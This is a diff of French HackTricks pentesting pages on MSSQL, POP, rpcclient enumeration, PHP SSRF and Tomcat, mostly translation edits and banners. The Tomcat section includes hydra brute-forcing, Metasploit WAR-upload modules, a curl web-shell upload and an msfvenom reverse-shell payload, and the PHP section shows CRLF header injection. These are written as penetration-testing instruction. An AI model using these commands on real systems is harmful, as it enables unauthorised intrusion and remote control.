[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Extraction de mots de passe des serveurs liés SQL Server
|
||||
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en clair, accordant à l'attaquant des mots de passe pouvant être utilisés pour obtenir une empreinte plus importante sur la cible.
|
||||
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en clair, accordant à l'attaquant des mots de passe pouvant être utilisés pour acquérir une empreinte plus importante sur la cible.
|
||||
Le script pour extraire et décrypter les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Certaines exigences et configurations doivent être effectuées pour que cette exploitation fonctionne.
|
||||
|
@ -455,7 +463,7 @@ Pour automatiser ces configurations, [ce dépôt](https://github.com/IamLeandroo
|
|||
En plus d'avoir un script PowerShell pour chaque étape de la configuration, le dépôt contient également un script complet qui combine les scripts de configuration et l'extraction et le décryptage des mots de passe.
|
||||
|
||||
Pour plus d'informations, consultez les liens suivants concernant cette attaque :
|
||||
[Décryptage des mots de passe des serveurs liés de base de données MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
[Décryptage des mots de passe des serveurs liés de la base de données MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Résolution des problèmes de la connexion d'administration dédiée SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -485,6 +493,15 @@ Vous pourrez probablement **passer à un compte Administrateur** en suivant l'un
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Commandes automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -542,7 +559,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
|
@ -550,6 +567,6 @@ D'autres façons de soutenir HackTricks:
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 110,995 - Test d'intrusion POP
|
||||
# 110,995 - Pentesting POP
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -12,6 +12,14 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
Le **Protocole de bureau de poste (POP)** est décrit comme un protocole dans le domaine des réseaux informatiques et d'Internet, utilisé pour l'extraction et la **récupération des e-mails à partir d'un serveur de messagerie distant**, les rendant accessibles sur l'appareil local. Positionné dans la couche d'application du modèle OSI, ce protocole permet aux utilisateurs de récupérer et recevoir des e-mails. Le fonctionnement des **clients POP** implique généralement d'établir une connexion avec le serveur de messagerie, de télécharger tous les messages, de stocker ces messages localement sur le système client, puis de les supprimer du serveur. Bien qu'il existe trois itérations de ce protocole, **POP3** se distingue comme la version la plus couramment utilisée.
|
||||
|
@ -58,11 +66,7 @@ CAPA Get capabilities
|
|||
```
|
||||
### Post Office Protocol (POP)
|
||||
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or `netcat`. This can help in gathering sensitive information or potential credentials.
|
||||
|
||||
### Post Office Protocol (POP)
|
||||
|
||||
POP est un protocole utilisé par les clients de messagerie pour récupérer des e-mails à partir d'un serveur de messagerie. Lors d'un test de pénétration, vous pouvez essayer de récupérer des e-mails à partir du serveur de messagerie d'une cible en utilisant des outils tels que `telnet` ou `netcat`. Cela peut aider à recueillir des informations sensibles ou des identifiants potentiels.
|
||||
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for misconfigurations or vulnerabilities in the POP server that could be exploited to gain unauthorized access to emails.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -91,14 +95,20 @@ password: PA$$W0RD!Z
|
|||
|
||||
À partir de [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Paramètre** | **Description** |
|
||||
| **Paramètre** | **Description** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Active tous les journaux de débogage de l'authentification. |
|
||||
| `auth_debug` | Active tous les journaux de débogage de l'authentification. |
|
||||
| `auth_debug_passwords` | Ce paramètre ajuste la verbosité des journaux, les mots de passe soumis et le schéma sont enregistrés. |
|
||||
| `auth_verbose` | Enregistre les tentatives d'authentification infructueuses et leurs raisons. |
|
||||
| `auth_verbose` | Enregistre les tentatives d'authentification infructueuses et leurs raisons. |
|
||||
| `auth_verbose_passwords` | Les mots de passe utilisés pour l'authentification sont enregistrés et peuvent également être tronqués. |
|
||||
| `auth_anonymous_username` | Cela spécifie le nom d'utilisateur à utiliser lors de la connexion avec le mécanisme SASL ANONYMOUS. |
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## Commandes automatiques HackTricks
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
|
@ -142,13 +152,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,16 +12,22 @@
|
|||
|
||||
</details>
|
||||
|
||||
### **Qu'est-ce qu'un RID**
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Aperçu des Identifiants Relatifs (RID) et des Identifiants de Sécurité (SID)
|
||||
|
||||
Les **Identifiants Relatifs (RID)** et les **Identifiants de Sécurité (SID)** sont des composants clés dans les systèmes d'exploitation Windows pour identifier et gérer de manière unique des objets, tels que des utilisateurs et des groupes, au sein d'un domaine réseau.
|
||||
|
||||
- Les **SIDs** servent d'identifiants uniques pour les domaines, garantissant que chaque domaine est distinguable.
|
||||
- Les **RIDs** sont ajoutés aux SIDs pour créer des identifiants uniques pour les objets au sein de ces domaines. Cette combinaison permet un suivi précis et une gestion des autorisations d'objet et des contrôles d'accès.
|
||||
- Les **RIDs** sont ajoutés aux SIDs pour créer des identifiants uniques pour les objets au sein de ces domaines. Cette combinaison permet un suivi précis et une gestion des autorisations et des contrôles d'accès des objets.
|
||||
|
||||
Par exemple, un utilisateur nommé `pepe` pourrait avoir un identifiant unique combinant le SID du domaine avec son RID spécifique, représenté à la fois en hexadécimal (`0x457`) et en décimal (`1111`). Cela donne un identifiant complet et unique pour pepe au sein du domaine comme : `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Par exemple, un utilisateur nommé `pepe` pourrait avoir un identifiant unique combinant le SID du domaine avec son RID spécifique, représenté à la fois en hexadécimal (`0x457`) et en décimal (`1111`). Cela donne un identifiant complet et unique pour pepe dans le domaine comme : `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Énumération avec rpcclient**
|
||||
|
@ -30,11 +36,11 @@ L'utilitaire **`rpcclient`** de Samba est utilisé pour interagir avec les **poi
|
|||
|
||||
#### Informations sur le serveur
|
||||
|
||||
* Pour obtenir les **informations sur le serveur**: la commande `srvinfo` est utilisée.
|
||||
* Pour obtenir les **informations sur le serveur** : la commande `srvinfo` est utilisée.
|
||||
|
||||
#### Énumération des utilisateurs
|
||||
|
||||
* Les **utilisateurs peuvent être listés** en utilisant : les commandes `querydispinfo` et `enumdomusers`.
|
||||
* Les **utilisateurs peuvent être listés** en utilisant : `querydispinfo` et `enumdomusers`.
|
||||
* Les **détails d'un utilisateur** avec : `queryuser <0xrid>`.
|
||||
* Les **groupes d'un utilisateur** avec : `queryusergroups <0xrid>`.
|
||||
* Le **SID d'un utilisateur est récupéré** via : `lookupnames <nom_utilisateur>`.
|
||||
|
@ -69,13 +75,13 @@ done
|
|||
* **Tous les partages disponibles** avec: `netshareenumall`.
|
||||
* **Informations sur un partage spécifique** avec: `netsharegetinfo <share>`.
|
||||
|
||||
#### Opérations Additionnelles avec les SIDs
|
||||
#### Opérations supplémentaires avec les SIDs
|
||||
|
||||
* **SIDs par nom** avec: `lookupnames <username>`.
|
||||
* **Plus de SIDs** avec: `lsaenumsid`.
|
||||
* **Cycle RID pour vérifier plus de SIDs** avec: `lookupsids <sid>`.
|
||||
|
||||
#### **Commandes Supplémentaires**
|
||||
#### **Commandes supplémentaires**
|
||||
|
||||
| **Commande** | **Interface** | **Description** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
|
@ -95,6 +101,12 @@ done
|
|||
|
||||
Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_ fonctionnent, vous devriez lire [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -102,7 +114,7 @@ Pour **mieux comprendre** comment les outils _**samrdump**_ **et** _**rpcdump**_
|
|||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Fonctions PHP SSRF
|
||||
|
||||
Certaines fonctions telles que **file\_get\_contents(), fopen(), file(), md5\_file()** acceptent des URL en entrée qu'elles suivront, ce qui rend **possibles les vulnérabilités SSRF** si l'utilisateur peut contrôler les données:
|
||||
|
@ -25,7 +33,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### CRLF
|
||||
|
||||
De plus, dans certains cas, il pourrait même être possible d'envoyer des en-têtes arbitraires via les "vulnérabilités" CRLF dans les fonctions précédentes :
|
||||
De plus, dans certains cas, il pourrait même être possible d'envoyer des en-têtes arbitraires via les "vulnérabilités" CRLF dans les fonctions précédentes:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -60,16 +68,23 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,10 +12,18 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Découverte
|
||||
|
||||
* Il fonctionne généralement sur le **port 8080**
|
||||
* **Erreur Tomcat courante:**
|
||||
* **Erreur courante de Tomcat :**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -52,7 +60,7 @@ Ces identifiants peuvent être testés en utilisant :
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Un autre répertoire notable est **`/manager/status`**, qui affiche la version de Tomcat et du système d'exploitation, facilitant l'identification des vulnérabilités.
|
||||
Une autre répertoire notable est **`/manager/status`**, qui affiche la version de Tomcat et du système d'exploitation, facilitant l'identification des vulnérabilités.
|
||||
|
||||
### **Attaque par Force Brute**
|
||||
|
||||
|
@ -64,13 +72,13 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
|
||||
### **Divulgation de Trace de Mot de Passe**
|
||||
|
||||
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace sous des circonstances favorables.
|
||||
Accéder à `/auth.jsp` peut révéler le mot de passe dans une trace de retour sous des circonstances favorables.
|
||||
|
||||
### **Encodage d'URL Double**
|
||||
|
||||
La vulnérabilité CVE-2007-1860 dans `mod_jk` permet un encodage d'URL double pour la traversée de chemin, permettant un accès non autorisé à l'interface de gestion via une URL spécialement conçue.
|
||||
|
||||
Pour accéder à l'interface de gestion de Tomcat, allez à : `cheminTomcat/%252E%252E/manager/html`
|
||||
Pour accéder à l'interface web de gestion de Tomcat, allez à : `cheminTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
|
@ -105,7 +113,7 @@ Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.
|
|||
|
||||
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**Une autre façon** de contourner les chemins protégés en utilisant ce truc est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
|
@ -113,7 +121,7 @@ Enfin, si vous avez accès au Gestionnaire d'Applications Web Tomcat, vous pouve
|
|||
|
||||
### Limitations
|
||||
|
||||
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir [POST](tomcat.md#post) section).
|
||||
Vous ne pourrez déployer un WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -124,8 +132,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit est un outil très puissant et polyvalent pour l'exploitation de vulnérabilités. Il offre une grande variété de modules pour attaquer les services Tomcat. Certains des modules les plus couramment utilisés incluent `exploit/multi/http/tomcat_mgr_upload`, `exploit/multi/http/tomcat_mgr_deploy`, et `exploit/multi/http/tomcat_mgr_list`. Ces modules peuvent être utilisés pour télécharger des fichiers sur le serveur, déployer des applications malveillantes, ou lister les applications déployées sur le serveur Tomcat.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -140,13 +146,13 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
### Téléchargez
|
||||
|
||||
2. Téléchargez le fichier `revshell.war` et accédez-y (`/revshell/`):
|
||||
|
||||
### Coquille de liaison et de reverse avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
|
||||
|
||||
#### Télécharger
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
|
@ -224,9 +230,15 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -2,19 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Évitez de lancer avec root
|
||||
|
||||
Pour ne pas exécuter Tomcat avec root, une configuration très courante consiste à définir un serveur Apache sur le port 80/443 et, si le chemin demandé correspond à une expression régulière, la requête est envoyée à Tomcat s'exécutant sur un port différent.
|
||||
Pour ne pas exécuter Tomcat avec les droits root, une configuration très courante consiste à définir un serveur Apache sur le port 80/443 et, si le chemin demandé correspond à une expression régulière, la requête est envoyée à Tomcat s'exécutant sur un port différent.
|
||||
|
||||
### Structure par défaut
|
||||
```
|
||||
|
@ -86,15 +94,15 @@ Voici un exemple de fichier **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Le fichier de configuration `web.xml` ci-dessus définit un **nouveau servlet nommé `AdminServlet`** qui est mappé à la **classe `com.inlanefreight.api.AdminServlet`**. Java utilise la notation point pour créer des noms de packages, ce qui signifie que le chemin sur le disque pour la classe définie ci-dessus serait :
|
||||
Le fichier de configuration `web.xml` ci-dessus définit un **nouveau servlet nommé `AdminServlet`** qui est associé à la **classe `com.inlanefreight.api.AdminServlet`**. Java utilise la notation point pour créer des noms de packages, ce qui signifie que le chemin sur le disque pour la classe définie ci-dessus serait :
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
